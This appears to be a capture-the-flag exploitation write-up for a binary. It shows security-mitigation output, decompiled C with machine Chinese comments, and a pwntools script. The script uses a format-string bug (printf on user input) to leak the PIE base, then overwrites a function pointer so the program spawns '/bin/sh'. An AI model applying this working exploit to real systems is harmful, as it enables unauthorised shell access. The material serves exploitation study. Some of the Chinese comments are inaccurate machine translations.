1
 Arch:       amd64-64-little
2
    RELRO:      Partial RELRO
3
    Stack:      No canary found
4
    NX:         NX enabled
5
    PIE:        PIE enabled
6
    SHSTK:      Enabled
7
    IBT:        Enabled
8
    Stripped:   No

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  unsigned __int64 number; // rax
4
  _QWORD v5[64]; // [rsp+0h] [rbp-210h] BYREF
5
  __int64 v6; // [rsp+200h] [rbp-10h] BYREF
6
  unsigned __int64 v7; // [rsp+208h] [rbp-8h]
7

8
  memset(v5, 0, sizeof(v5));
9
  v7 = 0;
10
  initialise(&v6, argv);
11
  publish_hook = (__int64 (__fastcall *)(_QWORD))homepage_channel;
12
  while ( 1 )
13
  {
14
    show_menu();
15
    number = read_number();
16
    if ( number == 4 )
17
      return 0;
18
    if ( number > 4 )
19
      goto LABEL_17;
20
    switch ( number )
21
    {
22
      case 3uLL:
23
        publish_hook("The discount line has been pushed to the homepage.");// 折扣线已推送到主页。
24
        break;
25
      case 1uLL:
26
        printf("How long is this campaign line? ");// 这条竞选路线有多长？
27
        v7 = read_number();
28
        if ( v7 && v7 <= 0x1FF )
29
        {
30
          printf("Drop your campaign line here: ");// 在这里放下你的竞选口号：
31
          read_exact(0, v5, v7);
32
          *((_BYTE *)v5 + v7) = 0;
33
          puts("Nice. Let us see how many people search for it.");// 不错。让我们看看有多少人在搜索它。
34
        }
35
        else
36
        {
37
          puts("That campaign line will not fit on the board.");// 那条竞选路线不适合董事会。
38
        }
39
        break;
40
      case 2uLL:
41
        if ( v7 )
42
          preview_slogan(v5);
43
        else
44
          puts("No campaign line has been submitted.");// 尚未提交任何活动线。
45
        break;
46
      default:
47
LABEL_17:
48
        puts("The marketing dashboard ignores that request.");// 营销仪表板忽略该请求。
49
        break;
50
    }
51
  }
52
}

1
int show_menu()
2
{
3
  puts("another ad job?");
4
  puts("1. press 1 to submit your slogan");
5
  puts("2. press 2 to preview");
6
  puts("3. press 3 to pin it on the homepage");
7
  puts("4. done? clock out");
8
  return printf(off_20A0);
9
}                                               // int show_menu（）{puts（“另一个广告作业？”）；puts（”1。按1提交你的口号）；把（“2。按2预览“）；按3。按3将其固定在主页上”）。完成？时钟输出”）；返回printf（off_20A0）；}
10
                                                //

1
int __fastcall preview_slogan(const char *a1)
2
{
3
  printf("preview: ");
4
  printf(a1);
5
  return putchar(10);
6
}

1
int director_channel()
2
{
3
  char *argv[4]; // [rsp+10h] [rbp-20h] BYREF
4

5
  argv[0] = "/bin/sh";
6
  argv[1] = "-p";
7
  argv[2] = 0;
8
  chdir("/");
9
  alarm(0xFu);
10
  return execve("/bin/sh", argv, 0);
11
}

1
 printf(a1);

1
 v7 && v7 <= 0x1FF

1
read_exact(0, v5, v7);

1
 _QWORD v5[64]; // [rsp+0h] [rbp-210h] BYREF

1
publish_hook("The discount line has been pushed to the homepage.");

1
 publish_hook = (__int64 (__fastcall *)(_QWORD))homepage_channel;

1
int __fastcall homepage_channel(const char *a1)
2
{
3
  return puts(a1);
4
}

1
from pwn import *
2

3
context.log_level = 'info'
4
context.arch = 'amd64'
5

6
p = remote("127.0.0.1", 61073)
7
# p = process('./full-reduction')
8
def menu(n):
9
    p.recvuntil(b'> ')
10
    p.sendline(str(n).encode())
11

12
def submit(data):
13
    menu(1)
14
    p.recvuntil(b'How long is this campaign line? ')
15
    p.sendline(str(len(data)).encode())
16
    p.recvuntil(b'Drop your campaign line here: ')
17
    p.send(data)
18

19
submit(b'%9$p.')
20
menu(2)
21
p.recvuntil(b'preview: ')
22
leak = int(p.recvuntil(b'.', drop=True), 16)
23
pie_base = leak - 0x1670
24

25
tgt = pie_base + 0x40b0
26
fmt = b'X' * 247
27
fmt += b'%42$hhn'
28
fmt += b'XX'
29
fmt += p64(tgt)
30
submit(fmt)
31
menu(2)
32

33
menu(3)
34
p.interactive()